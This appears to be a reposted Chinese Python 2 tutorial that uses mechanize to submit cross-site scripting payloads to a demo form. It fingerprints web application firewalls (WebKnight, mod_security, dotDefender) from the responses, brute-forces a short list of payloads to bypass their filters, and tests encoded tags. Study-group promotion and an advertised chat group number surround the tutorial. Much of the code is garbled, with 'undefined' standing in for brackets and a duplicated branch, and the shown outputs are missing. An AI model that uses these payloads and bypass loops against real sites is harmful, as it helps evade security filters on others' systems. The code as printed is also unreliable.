网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
要使用mechanize下载网页,需要实例化浏览器。我们已经在代码的第二行中做到了。
在第一步,我们定义了我们的HTML文档,其中表单名称为“waf”,我们需要告诉mechanize选择此表单提交,因此我们在名为formName的变量中使用此名称。
比我们打开这个URL,就像我们在浏览器中一样。页面打开后,我们填写表单并提交数据,因此页面的打开与此相同。
最后我们选择了使用’select_form’函数传递它’formName’变量的形式。
正如你可以在HTML源代码中看到的那样,这个表单只有一个输入字段,我们将在该字段中注入我们的payload,一旦我们收到响应,我们将检查它的字符串以检测是否存在Web应用防火墙。
步骤3:准备有效载荷
在我们的HTML文档中,我们使用以下代码指定了一个输入字段:
<input type =“text”name =“data”> <br>
您可以看到该字段的名称是“data”,我们可以使用以下代码定义此字段的输入:
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
第一行将我们的有效载荷保存在变量中。
在第二行代码中,我们已将我们的有效内容分配给表单字段“数据”。
我们现在可以安全地提交此表格并检查答复。
步骤4:提交表单并记录回复
代码我将在此行提及后提交表单并记录回复:
maliciousRequest.submit()
response=maliciousRequest.response().read()
print response
提交表单
将响应保存在变量中。
打印回应。
由于我目前没有安装防火墙,所以我得到的响应是:
可以看到有效载荷被打印回我们,意味着应用程序代码中不存在过滤,并且由于没有防火墙,我们的请求也没有被阻止。
步骤5:检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。我们将尝试在本教程中检测到以下防火墙的存在。
WebKnight
mod_security
Dot Defender
看看我们如何用python代码实现这一点:
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
如果安装Web Knight防火墙并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。同样,我们也可以检查其他2个防火墙。
我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。
使用强力来绕过防火墙过滤器
我在文章的开头提到,大多数防火墙都基于签名阻止请求。但是,您可以使用数千种方式构建payload。javascript比较复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。请注意,如果防火墙规则被明确定义,则此方法可能无法正常工作。让我们看看我们如何使用python来强爆:
listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg>
<script>prompt( 1)<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = 'waf' maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_formundefinedformName) maliciousRequest.form['data'] = payLoads maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined'WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效负载。
然后在for循环中,我们做了与上面所做的相同的过程,但是这一次对于列表中的每个有效载荷。
收到响应后,我们再次比较看看防火墙是否存在。
因为我没有安装防火墙,我的输出是:
将HTML标签转换为Unicode或Hex实体
如果防火墙正在过滤html标签,如<>。我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始形式,如果是这样,那么这也可能是一个入口点。以下代码可用于检查此过程:
listofPayloads = ['<b>','u003cbu003e','x3cbx3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
每次我们将发送编码的数据,在响应中,我们将检查是否转换或打印回而不进行转换,当我运行这个代码,我得到了这个输出:
更多Python视频、源码、资料加群683380553免费获取
表示没有编码的数据被转换为其原始格式。
(1)Python所有方向的学习路线(新版)
这是我花了几天的时间去把Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
最近我才对这些路线做了一下新的更新,知识体系更全面了。
(2)Python学习视频
包含了Python入门、爬虫、数据分析和web开发的学习视频,总共100多个,虽然没有那么全面,但是对于入门来说是没问题的,学完这些之后,你可以按照我上面的学习路线去网上找其他的知识资源进行进阶。
(3)100多个练手项目
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了,只是里面的项目比较多,水平也是参差不齐,大家可以挑自己能做的项目去练练。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!